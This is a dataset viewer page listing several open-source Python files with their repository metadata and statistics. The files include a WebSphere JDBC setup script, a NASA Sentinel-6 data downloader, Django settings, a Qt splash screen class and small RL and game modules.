xszheng2020/the_stack_dedup_python_hits_1 · Datasets at Hugging Face

c1d5f69e5c3fddafacc15af89b5f0eac9dc39002

1,681

py

Python

src/main/resources/project/wsadmin_scripts/create_jdbc_provider.py

electric-cloud/EC-WebSphere

72930f119910190f8fc70acbb401319ca0eb0c19

[ "Apache-2.0" ]

null

src/main/resources/project/wsadmin_scripts/create_jdbc_provider.py

electric-cloud/EC-WebSphere

72930f119910190f8fc70acbb401319ca0eb0c19

[ "Apache-2.0" ]

12

2016-09-23T04:42:55.000Z

2021-04-09T09:59:29.000Z

src/main/resources/project/wsadmin_scripts/create_jdbc_provider.py

electric-cloud/EC-WebSphere

72930f119910190f8fc70acbb401319ca0eb0c19

[ "Apache-2.0" ]

2

2016-06-13T07:24:12.000Z

2018-05-08T12:49:33.000Z

# # Copyright 2016 Electric Cloud, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import sys clusterName = r''' $[cluster] '''.strip() nodeName = r''' $[node] '''.strip() cellName = r''' $[cell] '''.strip() serverName = r''' $[server] '''.strip(); implClassName = r''' $[implementationClassName] '''.strip() providerName = r''' $[jdbcProvidername] '''.strip() inputClasspath = r''' $[classpath] '''.strip() resourceId = '' if cellName: resourceId += "/Cell:" + cellName if clusterName: resourceId += "/ServerCluster:" + clusterName if nodeName: resourceId += "/Node:" + nodeName if serverName: resourceId += "/Server:" + serverName resourceId += "/" print "ResourceID: " + resourceId node = AdminConfig.getid(resourceId) n1 = ['name', providerName] implCN = ['implementationClassName', implClassName] classPath = ['classpath', inputClasspath] descr = ['description', ''] jdbcAttrs = [n1, implCN, classPath, descr] providerFound = AdminConfig.getid('/JDBCProvider:' + providerName + '/') if providerFound: AdminConfig.modify(providerFound, jdbcAttrs) else: AdminConfig.create('JDBCProvider', node, jdbcAttrs) AdminConfig.save()

22.716216

75

0.697204

185

1,681

6.335135

0.540541

0.051195

0.022184

0.027304

0

0.007072

0.158834

1,681

73

76

23.027397

0.821782

0.336704

0

0.133333

0

0.205829

0.044627

0

null

0

0.022222

null

0.022222

0

null

0

null

0

1

0

1

c1e4b25896a66fd72f7fdc21de7b701f62fd3706

1,937

py

Python

google/cloud/monitoring_v3/types/dropped_labels.py

vinbs/python-monitoring

39b51a2dd4319c3a326bef1c843bb80d3f2ca772

[ "Apache-2.0" ]

null

google/cloud/monitoring_v3/types/dropped_labels.py

vinbs/python-monitoring

39b51a2dd4319c3a326bef1c843bb80d3f2ca772

[ "Apache-2.0" ]

null

google/cloud/monitoring_v3/types/dropped_labels.py

vinbs/python-monitoring

39b51a2dd4319c3a326bef1c843bb80d3f2ca772

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import proto # type: ignore __protobuf__ = proto.module( package="google.monitoring.v3", manifest={"DroppedLabels",}, ) class DroppedLabels(proto.Message): r"""A set of (label, value) pairs which were dropped during aggregation, attached to google.api.Distribution.Exemplars in google.api.Distribution values during aggregation. These values are used in combination with the label values that remain on the aggregated Distribution timeseries to construct the full label set for the exemplar values. The resulting full label set may be used to identify the specific task/job/instance (for example) which may be contributing to a long-tail, while allowing the storage savings of only storing aggregated distribution values for a large group. Note that there are no guarantees on ordering of the labels from exemplar-to-exemplar and from distribution-to-distribution in the same stream, and there may be duplicates. It is up to clients to resolve any ambiguities. Attributes: label (Sequence[~.dropped_labels.DroppedLabels.LabelEntry]): Map from label to its value, for all labels dropped in any aggregation. """ label = proto.MapField(proto.STRING, proto.STRING, number=1) __all__ = tuple(sorted(__protobuf__.manifest))

35.87037

74

0.738255

274

1,937

5.171533

0.547445

0.042343

0.018349

0.022583

0

0.00706

0.195663

1,937

53

75

36.54717

0.902439

0.802272

0

0.114187

0

1

0

false

0

0.125

0

0.375

0

null

0

1

0

null

0

1

c1f19ac63d25d3c7a341b5e56efc6a76170e219a

8,757

py

Python

Access_Sentinel6MF_find_file_by_cycle_pass.py

podaac/sentinel6

ea203ebab3fdbbfe2b4c399f7a0f54322af18433

[ "Apache-2.0" ]

6

2021-03-24T18:20:04.000Z

2022-03-30T12:10:26.000Z

Access_Sentinel6MF_find_file_by_cycle_pass.py

podaac/sentinel6

ea203ebab3fdbbfe2b4c399f7a0f54322af18433

[ "Apache-2.0" ]

null

Access_Sentinel6MF_find_file_by_cycle_pass.py

podaac/sentinel6

ea203ebab3fdbbfe2b4c399f7a0f54322af18433

[ "Apache-2.0" ]

2

2021-03-24T19:19:40.000Z

2022-01-13T03:49:25.000Z

#!/usr/bin/env python3 # # Access Sentinel-6 MF Data using a script # This script shows a simple way to maintain a local time series of Sentinel-6 data using the [CMR Search API](https://cmr.earthdata.nasa.gov/search/site/docs/search/api.html). It downloads granules the ingested since the previous run to a designated data folder and overwrites a hidden file inside with the timestamp of the CMR Search request on success. # Before you beginning this tutorial, make sure you have an Earthdata account: [https://urs.earthdata.nasa.gov] . # Accounts are free to create and take just a moment to set up. #### #Users are encouraged to use data files from March 11th 2021 onwards. #### import urllib from urllib import request from http.cookiejar import CookieJar import getpass import netrc import requests import json import socket ###############The lines below are to get the IP address. You can make this static and assign a fixed value to the IPAddr variable hostname = socket.gethostname() IPAddr = socket.gethostbyname(hostname) ###################################### print("Running Sentinel-6 MF Data Download") # ## Before you start # # Before you beginning this tutorial, make sure you have an Earthdata account: [https://urs.earthdata.nasa.gov]. # # Accounts are free to create and take just a moment to set up. # # ## Authentication setup # # The function below will allow Python scripts to log into any Earthdata Login application programmatically. To avoid being prompted for # credentials every time you run and also allow clients such as curl to log in, you can add the following # to a `.netrc` (`_netrc` on Windows) file in your home directory: # # ``` # machine urs.earthdata.nasa.gov # login <your username> # password <your password> # ``` # # Make sure that this file is only readable by the current user or you will receive an error stating # "netrc access too permissive." # # `$ chmod 0600 ~/.netrc` # # *You'll need to authenticate using the netrc method when running from command line with [`papermill`](https://papermill.readthedocs.io/en/latest/). You can log in manually by executing the cell below when running in the notebook client in your browser.* def setup_earthdata_login_auth(endpoint): """ Set up the request library so that it authenticates against the given Earthdata Login endpoint and is able to track cookies between requests. This looks in the .netrc file first and if no credentials are found, it prompts for them. Valid endpoints include: urs.earthdata.nasa.gov - Earthdata Login production """ try: username, _, password = netrc.netrc().authenticators(endpoint) except (FileNotFoundError, TypeError): # FileNotFound = There's no .netrc file # TypeError = The endpoint isn't in the netrc file, causing the above to try unpacking None print("There's no .netrc file or the The endpoint isn't in the netrc file") manager = request.HTTPPasswordMgrWithDefaultRealm() manager.add_password(None, endpoint, username, password) auth = request.HTTPBasicAuthHandler(manager) jar = CookieJar() processor = request.HTTPCookieProcessor(jar) opener = request.build_opener(auth, processor) request.install_opener(opener) ############################################################################### # GET TOKEN FROM CMR ############################################################################### def get_token( url: str,client_id: str, user_ip: str,endpoint: str) -> str: try: token: str = '' username, _, password = netrc.netrc().authenticators(endpoint) xml: str = """<?xml version='1.0' encoding='utf-8'?> <token><username>{}</username><password>{}</password><client_id>{}</client_id> <user_ip_address>{}</user_ip_address></token>""".format(username, password, client_id, user_ip) headers: Dict = {'Content-Type': 'application/xml','Accept': 'application/json'} resp = requests.post(url, headers=headers, data=xml) response_content: Dict = json.loads(resp.content) token = response_content['token']['id'] except: print("Error getting the token - check user name and password") return token ############################################################################### # DELETE TOKEN FROM CMR ############################################################################### def delete_token(url: str, token: str) -> None: try: headers: Dict = {'Content-Type': 'application/xml','Accept': 'application/json'} url = '{}/{}'.format(url, token) resp = requests.request('DELETE', url, headers=headers) if resp.status_code == 204: print("CMR token successfully deleted") else: print("CMR token deleting failed.") except: print("Error deleting the token") exit(0) ############################################################################### # Downloading the file ############################################################################### # The script uses the CMR API to get files by API see https://cmr.earthdata.nasa.gov/search/site/docs/search/api.html#g-cycle - Get data by cycle # https://cmr.earthdata.nasa.gov/search/site/docs/search/api.html#g-passes - Get data by cycle # Code below is a very simplistic version of getting data for one cycle and pass edl="urs.earthdata.nasa.gov" cmr="cmr.earthdata.nasa.gov" setup_earthdata_login_auth(edl) token_url="https://"+cmr+"/legacy-services/rest/tokens" token=get_token(token_url,'Sentinel-6', IPAddr,edl) Short_Name="SHORTNAME OF THE PRODUCT TO DOWNLOAD" #This is the Short Name of the product you want to download # See Finding_shortname.pdf file ### Download Files only with the following extensions ## Sentinel-6 MF datasets also have *.bufr.bin, *.DBL, *.rnx, *.dat extensions = ['.nc','.bin'] data = "DOWNLOAD LOCATION" #You should change `data` to a suitable download path on your file system. from os import makedirs import datetime from os.path import isdir, basename from urllib.parse import urlencode from urllib.request import urlopen, urlretrieve from datetime import datetime, timedelta from json import dumps, loads # **The search retrieves granules for a particular cycle and pass. # Pass is an optional parameter -- If pass is not provided then all files for a particular pass will be used ### Define the cycle and pass you need in this section s6mf_cycle=2 s6mf_pass=245 params = { 'scroll': "true", 'page_size': 2000, 'sort_key': "-start_date", 'ShortName': Short_Name, 'cycle[]':s6mf_cycle , 'passes[0][pass]':s6mf_pass, 'token': token } # Get the query parameters as a string and then the complete search url: query = urlencode(params) url = "https://"+cmr+"/search/granules.umm_json?"+query print(url) # Get a new timestamp that represents the UTC time of the search. Then download the records in `umm_json` format for granules that match our search parameters: with urlopen(url) as f: results = loads(f.read().decode()) print(str(results['hits'])+" granules available for Cycle:"+str(s6mf_cycle)+" and Pass:"+str(s6mf_pass)) # Neatly print the first granule record (if one was returned): if len(results['items'])>0: print(dumps(results['items'][0], indent=2)) # The link for http access can be retrieved from each granule record's `RelatedUrls` field. # The download link is identified by `"Type": "GET DATA"` but there are other data files in EXTENDED METADATA" field. # Select the download URL for each of the granule records: downloads_all=[] downloads_data = [[u['URL'] for u in r['umm']['RelatedUrls'] if u['Type']=="GET DATA" and ('Subtype' not in u or u['Subtype'] != "OPENDAP DATA")] for r in results['items']] downloads_metadata = [[u['URL'] for u in r['umm']['RelatedUrls'] if u['Type']=="EXTENDED METADATA"] for r in results['items']] for f in downloads_data: downloads_all.append(f) for f in downloads_metadata: downloads_all.append(f) downloads = [item for sublist in downloads_all for item in sublist] # Finish by downloading the files to the data directory in a loop. success_cnt=failure_cnt=0 for f in downloads: try: for extension in extensions: if f.lower().endswith((extension)): urlretrieve(f, data+"/"+basename(f)) print(datetime.now()) print("SUCCESS: "+f+"\n\n") success_cnt=success_cnt+1 except Exception as e: print(datetime.now()) print("FAILURE: "+f+"\n\n") failure_cnt=failure_cnt+1 print(e) print("Downloaded: "+str(success_cnt)+" files\n") print("Files Failed to download:"+str(failure_cnt)+"\n") delete_token(token_url,token) print("END \n\n")

37.909091

356

0.66838

1,209

8,757

4.789909

0.315136

0.020204

0.024866

0.016405

0.142808

0.13072

0.114143

0.104127

0.084441

0

0.00605

0.169464

8,757

230

357

38.073913

0.790183

0.428343

0

0.11215

0

0.234958

0.050561

0

1

0.028037

false

0.102804

0.140187

0

0.17757

0.158879

0

null

0

null

0

1

0

1

c1f374c3be2127bdaeef0e877233321933695462

2,837

py

Python

Latest/venv/Lib/site-packages/pyface/ui/qt4/splash_screen.py

adamcvj/SatelliteTracker

49a8f26804422fdad6f330a5548e9f283d84a55d

[ "Apache-2.0" ]

1

2022-01-09T20:04:31.000Z

Latest/venv/Lib/site-packages/pyface/ui/qt4/splash_screen.py

adamcvj/SatelliteTracker

49a8f26804422fdad6f330a5548e9f283d84a55d

[ "Apache-2.0" ]

1

2022-02-15T12:01:57.000Z

2022-03-24T19:48:47.000Z

Latest/venv/Lib/site-packages/pyface/ui/qt4/splash_screen.py

adamcvj/SatelliteTracker

49a8f26804422fdad6f330a5548e9f283d84a55d

[ "Apache-2.0" ]

null

#------------------------------------------------------------------------------ # Copyright (c) 2007, Riverbank Computing Limited # All rights reserved. # # This software is provided without warranty under the terms of the BSD license. # However, when used with the GPL version of PyQt the additional terms described in the PyQt GPL exception also apply # # Author: Riverbank Computing Limited # Description: <Enthought pyface package component> #------------------------------------------------------------------------------ # Standard library imports. from logging import DEBUG # Major package imports. from pyface.qt import QtCore, QtGui # Enthought library imports. from traits.api import Any, Bool, Font, Instance, Int, provides from traits.api import Tuple, Unicode # Local imports. from pyface.i_splash_screen import ISplashScreen, MSplashScreen from pyface.image_resource import ImageResource from .window import Window @provides(ISplashScreen) class SplashScreen(MSplashScreen, Window): """ The toolkit specific implementation of a SplashScreen. See the ISplashScreen interface for the API documentation. """ #### 'ISplashScreen' interface ############################################ image = Instance(ImageResource, ImageResource('splash')) log_level = Int(DEBUG) show_log_messages = Bool(True) text = Unicode text_color = Any text_font = Any text_location = Tuple(5, 5) ########################################################################### # Protected 'IWidget' interface. ########################################################################### def _create_control(self, parent): splash_screen = QtGui.QSplashScreen(self.image.create_image()) self._qt4_show_message(splash_screen) return splash_screen ########################################################################### # Private interface. ########################################################################### def _text_changed(self): """ Called when the splash screen text has been changed. """ if self.control is not None: self._qt4_show_message(self.control) def _qt4_show_message(self, control): """ Set the message text for a splash screen control. """ if self.text_font is not None: control.setFont(self.text_font) if self.text_color is None: text_color = QtCore.Qt.black else: # Until we get the type of this trait finalised (ie. when TraitsUI # supports PyQt) convert it explcitly to a colour. text_color = QtGui.QColor(self.text_color) control.showMessage(self.text, QtCore.Qt.AlignLeft, text_color) #### EOF ######################################################################

31.876404

117

0.556926

284

2,837

5.447183

0.461268

0.046542

0.027149

0.024564

0.032321

0

0.003884

0.183292

2,837

88

118

32.238636

0.663789

0.356715

0

0.004422

0

1

0.096774

false

0

0.225806

0

0.612903

0

null

0

null

0

1

0

1

de061f8ef236113e6114ec0c9c8473a641dfaccf

2,667

py

Python

envs/yumi/goal_vec_env.py

pcchenxi/skew-explore

fee27419a6168711eae23bc803875e36afe56438

[ "MIT" ]

3

2020-08-17T20:20:08.000Z

2021-05-25T07:44:35.000Z

envs/yumi/goal_vec_env.py

yqj13777866390/skew-explore

fee27419a6168711eae23bc803875e36afe56438

[ "MIT" ]

null

envs/yumi/goal_vec_env.py

yqj13777866390/skew-explore

fee27419a6168711eae23bc803875e36afe56438

[ "MIT" ]

1

2021-01-10T02:07:27.000Z

import numpy as np from stable_baselines.common.vec_env import DummyVecEnv, SubprocVecEnv class GaolDummyVecEnv(DummyVecEnv): """ extend the original DummyVecEnv class with function set_goals for goal proposing """ def __init__(self, env_fns): super(GaolDummyVecEnv, self).__init__(env_fns) if self.envs[0].unwrapped.name == 'yumi': self.xyz_start = self.envs[0].unwrapped.xyz_start self.xyz_end = self.envs[0].unwrapped.xyz_end self.gripper_start = self.envs[0].unwrapped.gripper_start self.gripper_end = self.envs[0].unwrapped.gripper_end self.door_start = self.envs[0].unwrapped.door_start self.door_end = self.envs[0].unwrapped.door_end elif self.envs[0].unwrapped.name == 'yumi_box_pick': self.xyz_start = self.envs[0].unwrapped.xyz_start self.xyz_end = self.envs[0].unwrapped.xyz_end self.gripper_start = self.envs[0].unwrapped.gripper_start self.gripper_end = self.envs[0].unwrapped.gripper_end self.door_l_start = self.envs[0].unwrapped.door_l_start self.door_l_end = self.envs[0].unwrapped.door_l_end self.door_r_start = self.envs[0].unwrapped.door_r_start self.door_r_end = self.envs[0].unwrapped.door_r_end def set_goals(self, goals): for env_idx in range(self.num_envs): self.envs[env_idx].unwrapped.set_goals(goals) def set_density_estimator(self, density_estimator): for env_idx in range(self.num_envs): self.envs[env_idx].unwrapped.set_density_estimator(density_estimator) def set_reward_type(self, reward_type): for env_idx in range(self.num_envs): self.envs[env_idx].unwrapped.set_reward_type(reward_type) def get_extrinsic_reward(self, achieved_goals): return self.envs[0].unwrapped.get_extrinsic_reward(achieved_goals) def update_reward_scale(self, mean, std): for env_idx in range(self.num_envs): self.envs[env_idx].unwrapped.update_reward_scale(mean, std) def render(self, *args, **kwargs): return self.envs[0].render(*args, **kwargs) # class GoalSubprocVecEnv(SubprocVecEnv): # """ # extend the original SubprocVecEnv class with function set_goals for goal proposing # """ # def set_goals(self, goals): # for env_idx in range(self.num_envs): # self.envs[env_idx].set_goals() # def set_reward_type(self, reward_type): # for env_idx in range(self.num_envs): # self.envs[env_idx].unwrapped.set_reward_type(reward_type)

43.016129

89

0.672291

373

2,667

4.533512

0.174263

0.113542

0.095801

0.180958

0.63631

0.51094

0.460674

0

0.008687

0.223097

2,667

61

90

43.721311

0.807432

0.188601

0

0.324324

0

0.008011

0

1

0.189189

false

0

0.054054

0.324324

0

null

0

1

0

null

0

1

de0b80e419af4dc6fc3a94037ba0c532fce15f88

6,267

py

Python

core/settings.py

ZeroExistence/blog_moe_ph_api

03084202631105e7f8d32e3c215399804cd1bcd6

[ "MIT" ]

null

core/settings.py

ZeroExistence/blog_moe_ph_api

03084202631105e7f8d32e3c215399804cd1bcd6

[ "MIT" ]

null

core/settings.py

ZeroExistence/blog_moe_ph_api

03084202631105e7f8d32e3c215399804cd1bcd6

[ "MIT" ]

null

""" Django settings for core project. Generated by 'django-admin startproject' using Django 3.1.3. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathlib import Path import environ # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent env = environ.Env( ENV=(str, 'DEV'), SITE_ID=(int, 1), REMOTE_STORAGE=(bool, False), ALLOWED_HOSTS=(list), CORS_ALLOWED_ORIGINS=(list) ) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = env('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! ENV = env('ENV') # Application definition INSTALLED_APPS = [ 'api', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'django.contrib.sites', 'allauth', 'allauth.account', 'allauth.socialaccount', 'allauth.socialaccount.providers.auth0', 'rest_framework', 'imagekit', 'ckeditor', 'django_filters', 'corsheaders', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'core.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'core.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': env.db() } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] AUTHENTICATION_BACKENDS = [ # Needed to login by username in Django admin, regardless of `allauth` 'django.contrib.auth.backends.ModelBackend', # `allauth` specific authentication methods, such as login by e-mail 'allauth.account.auth_backends.AuthenticationBackend', ] AUTH_USER_MODEL = 'api.User' STATIC_URL = '/static/' MEDIA_URL = '/media/' # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True SITE_ID = env('SITE_ID') SOCIALACCOUNT_PROVIDERS = { 'auth0': { 'AUTH0_URL': 'https://moe-ph.au.auth0.com', } } LOGIN_REDIRECT_URL = '/admin/' IMAGEKIT_DEFAULT_CACHEFILE_STRATEGY = 'imagekit.cachefiles.strategies.Optimistic' REST_FRAMEWORK = { 'DEFAULT_FILTER_BACKENDS': ['django_filters.rest_framework.DjangoFilterBackend'] } ALLOWED_HOSTS = env('ALLOWED_HOSTS') CKEDITOR_CONFIGS = { 'default': { 'toolbar': 'Custom', 'toolbar_Custom': [ ['Styles', 'Format'], ['Bold', 'Italic', 'Underline'], ['NumberedList', 'BulletedList', '-', 'Outdent', 'Indent', 'Blockquote', '-', 'JustifyLeft', 'JustifyCenter', 'JustifyRight', 'JustifyBlock'], ['Link', 'Unlink'], ['HorizontalRule', 'Image'], ['RemoveFormat', 'Source'] ] } } if ENV == 'DEV': DEBUG = True CORS_ALLOWED_ORIGINS = env('CORS_ALLOWED_ORIGINS') if env('REMOTE_STORAGE'): DEFAULT_FILE_STORAGE = 'api.custom_class.MediaStorage' AWS_S3_ENDPOINT_URL = 'https://us-east-1.linodeobjects.com' AWS_S3_REGION_NAME = 'US' AWS_DEFAULT_ACL = 'public-read' AWS_QUERYSTRING_AUTH = False AWS_ACCESS_KEY_ID = env('AWS_ACCESS_KEY_ID') AWS_SECRET_ACCESS_KEY = env('AWS_SECRET_ACCESS_KEY') AWS_STORAGE_BUCKET_NAME = env('AWS_STORAGE_BUCKET_NAME') AWS_S3_CUSTOM_DOMAIN = env('AWS_S3_CUSTOM_DOMAIN') else: STATIC_ROOT = '{0}/static'.format(BASE_DIR) MEDIA_ROOT = '{0}/media'.format(BASE_DIR) elif ENV == 'PROD': DEBUG = False SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') SESSION_COOKIE_SECURE = True CSRF_COOKIE_SECURE = True LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'handlers': { 'console': { 'level': 'INFO', 'class': 'logging.StreamHandler', 'stream' : 'ext://sys.stdout', }, }, 'loggers': { 'django': { 'handlers': ['console'], 'level': 'INFO', 'propagate': True, }, }, } DEFAULT_FILE_STORAGE = 'api.custom_class.MediaStorage' AWS_S3_ENDPOINT_URL = 'https://us-east-1.linodeobjects.com' AWS_S3_REGION_NAME = 'US' AWS_DEFAULT_ACL = 'public-read' AWS_QUERYSTRING_AUTH = False AWS_ACCESS_KEY_ID = env('AWS_ACCESS_KEY_ID') AWS_SECRET_ACCESS_KEY = env('AWS_SECRET_ACCESS_KEY') AWS_STORAGE_BUCKET_NAME = env('AWS_STORAGE_BUCKET_NAME') AWS_S3_CUSTOM_DOMAIN = env('AWS_S3_CUSTOM_DOMAIN')

27.247826

154

0.657891

676

6,267

5.871302

0.37426

0.055682

0.034266

0.037793

0.248425

0.209121

0.18191

0.151675

0

0.007869

0.209191

6,267

229

155

27.366812

0.792978

0.162119

0

0.125

1

0

0.446634

0.278692

0

1

0

false

0.03125

0.0125

0

0.0125

0

null

0

1

0

null

0

1

a9ad087156ac3a105145a098808b5c0d80354b64

1,014

py

Python

backend/improvements/mine.py

aecobb53/civ_vi_city_planner

bac9517507f0f50a172fe821a8c08d7945fdf74f

[ "MIT" ]

2

2020-12-10T03:10:52.000Z

2020-12-27T06:17:01.000Z

backend/improvements/mine.py

aecobb53/civ_vi_city_planner

bac9517507f0f50a172fe821a8c08d7945fdf74f

[ "MIT" ]

8

2020-12-10T06:38:10.000Z

2021-05-01T22:27:37.000Z

backend/improvements/mine.py

aecobb53/civ_vi_city_planner

bac9517507f0f50a172fe821a8c08d7945fdf74f

[ "MIT" ]

null

from backend.common_tile import CommonTile class Mine(CommonTile): def __init__(self): super().__init__() self.production = 1 self.appeal = -1 self.acceptable_terrain = [ 'deserth', 'grasslandh', 'plainsh', 'snowh', 'tundrah', ] self.acceptable_features = None self.resources = [ 'copper', 'diamonds', 'gold_ore', 'iron', 'jade', 'mercury', 'salt', 'niter', 'coal', 'aluminum', 'uranium', 'amber', ] def calculate_erah(self, tile_obj, target_index, adj_list): # pragma: no cover target_object = getattr(tile_obj, target_index) if tile_obj.erah >= 2: target_object.production = target_object.production + 1 if tile_obj.erah >= 4: target_object.production = target_object.production + 1

26

83

0.498028

91

1,014

5.274725

0.582418

0.125

0.183333

0.075

0.1875

0

0.00982

0.397436

1,014

38

84

26.684211

0.775777

0.015779

0

0.058824

0

0.106426

0

1

0.058824

false

0

0.029412

0

0.117647

0

null

0

1

0

null

0

1

a9ae07b702ca400980c0c7887914c67d1f04fa3b

700

py

Python

interceptor/migrations/0006_auto_20200514_0637.py

minrock/thaad

dfc9dce0b66111e92154b71a3c8249b3695cd9ed

[ "MIT" ]

null

interceptor/migrations/0006_auto_20200514_0637.py

minrock/thaad

dfc9dce0b66111e92154b71a3c8249b3695cd9ed

[ "MIT" ]

null

interceptor/migrations/0006_auto_20200514_0637.py

minrock/thaad

dfc9dce0b66111e92154b71a3c8249b3695cd9ed

[ "MIT" ]

1

2020-08-21T01:35:09.000Z

# Generated by Django 3.0.5 on 2020-05-14 06:37 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('interceptor', '0005_auto_20200514_0617'), ] operations = [ migrations.AddField( model_name='interceptedrequest', name='path', field=models.CharField(default='/', max_length=255), ), migrations.AddField( model_name='interceptedrequest', name='session', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='interceptor.InterceptorSession'), ), ]

28

141

0.632857

72

700

6.055556

0.652778

0.055046

0.06422

0.100917

0.224771

0

0.064639

0.248571

700

24

142

29.166667

0.764259

0.064286

0

0.333333

1

0

0.171516

0.081164

0

1

0

false

0

0.111111

0

0.277778

0

null

0

1

0

null

0

1

a9af76d2907f1842ce017c5b2767d34090fd37f8

471

py

Python

scripts/sample_data/discourse_1369.py

gmatteo/awesome-panel

7eb6965f4b3a7eca08c07561e631e5beb189ffd3

[ "Apache-2.0" ]

179

2019-12-04T14:54:53.000Z

2022-03-30T09:08:38.000Z

scripts/sample_data/discourse_1369.py

hbueno/awesome-panel

fb27bcaf265cef1278cfa0c78799fbbf6c9a6834

[ "Apache-2.0" ]

62

2019-12-14T16:51:28.000Z

2022-03-19T18:47:12.000Z

scripts/sample_data/discourse_1369.py

hbueno/awesome-panel

fb27bcaf265cef1278cfa0c78799fbbf6c9a6834

[ "Apache-2.0" ]

35

2019-12-08T13:19:53.000Z

2022-03-25T10:33:02.000Z

import panel as pn def test_alert(): my_alert = pn.pane.Alert("foo", alert_type="primary") my_button = pn.widgets.Button(name="Toggle") def toggle(event): if my_alert.alert_type == "primary": my_alert.alert_type == "success" else: my_alert.alert_type = "primary" my_alert.object = my_alert.alert_type my_button.on_click(toggle) pn.Row(my_alert, my_button).show() test_alert()

22.428571

58

0.609342

64

471

4.203125

0.390625

0.182156

0.178439

0.237918

0.223048

0

0.271762

471

20

59

23.55

0.784257

0

0.08204

0

1

0.153846

false

0

0.076923

0

0.230769

0

null

0

1

0

null

0

1

a9b193c08d4e2b54525ea95fb1e1ee7312be2f54

372

py

Python

technical_test/order_status/migrations/0004_alter_orderstatus_options.py

R3dward/technical_test_django_n_mysql

d1fe54b3ab73e1269c5e91c62e113c790d4ba892

[ "MIT" ]

null

technical_test/order_status/migrations/0004_alter_orderstatus_options.py

R3dward/technical_test_django_n_mysql

d1fe54b3ab73e1269c5e91c62e113c790d4ba892

[ "MIT" ]

null

technical_test/order_status/migrations/0004_alter_orderstatus_options.py

R3dward/technical_test_django_n_mysql

d1fe54b3ab73e1269c5e91c62e113c790d4ba892

[ "MIT" ]

null

# Generated by Django 3.2.4 on 2021-06-10 23:08 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('order_status', '0003_alter_orderstatus_bought_by'), ] operations = [ migrations.AlterModelOptions( name='orderstatus', options={'ordering': ['order_number']}, ), ]

20.666667

61

0.61828

38

372

5.894737

0.815789

0

0.069343

0.263441

372

17

62

21.882353

0.748175

0.120968

0

1

0

0.230769

0.098462

0

1

0

false

0

0.090909

0

0.363636

0

null

0

1

0

null

0

1

a9b485b811b7ea730f833299f86e192dd1517845

1,426

py

Python

feincms/management/commands/rebuild_mptt.py

duointeractive/feincms

29b6bc197e854ec69bfb9a4923f029803c8d8f50

[ "BSD-3-Clause" ]

null

feincms/management/commands/rebuild_mptt.py

duointeractive/feincms

29b6bc197e854ec69bfb9a4923f029803c8d8f50

[ "BSD-3-Clause" ]

null

feincms/management/commands/rebuild_mptt.py

duointeractive/feincms

29b6bc197e854ec69bfb9a4923f029803c8d8f50

[ "BSD-3-Clause" ]

1

2020-06-27T11:12:21.000Z

